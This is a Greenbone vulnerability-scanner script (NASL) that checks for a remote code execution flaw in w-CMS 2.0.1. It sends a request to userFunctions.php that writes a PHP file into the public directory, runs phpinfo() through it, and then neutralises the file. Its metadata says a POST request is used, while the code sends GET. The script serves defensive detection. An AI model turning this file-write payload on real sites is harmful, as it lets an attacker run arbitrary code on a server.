w-CMS 2.0.1 Remote Code Execution

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103762");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"cvss_base", value:"8.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:P/A:N");
  script_name("w-CMS 2.0.1 Remote Code Execution");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122833/w-CMS-2.0.1-Remote-Code-Execution.html");
  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2013-08-16 11:12:08 +0200 (Fri, 16 Aug 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successfully exploiting this issue may allow an attacker to
  execute arbitrary code in the context of the user running the affected application.");

  script_tag(name:"vuldetect", value:"Send a HTTP POST request which execute the phpinfo() command
  and check the response if it was successful.");

  script_tag(name:"insight", value:"Input passed to userFunctions.php is not properly sanitized.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"w-CMS is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"affected", value:"w-CMS 2.0.1 is vulnerablei, other versions may also be affected.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

foreach dir( make_list_unique( "/cms", "/w-cms", "/w_cms", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + '/index.php';
  buf = http_get_cache( item:url, port:port );

  if( ! buf || ! egrep( pattern:"Powered by.*w-CMS", string:buf ) )
    continue;

  vtstrings = get_vt_strings();
  file = vtstrings["lowercase_rand"] + ".php";
  url = dir + '/userFunctions.php?udef=activity&type=' + file  + '&content=%3C?php%20phpinfo();%20?%3E';
  req = http_get( item:url, port:port );
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  url = dir + '/public/' + file;
  req = http_get( item:url, port:port );
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( "<title>phpinfo()" >< buf ) {
    url = dir + '/userFunctions.php?udef=activity&type=' + file  + '&content=%3C?php%20exit;%20?%3E';
    req = http_get( item:url, port:port );
    buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
    msg = 'Scanner was able to create the file /public/' + file + ' and to execute it. Please remove this file as soon as possible.';
    security_message( port:port, data:msg );
    exit( 0 );
  }
}

exit( 99 );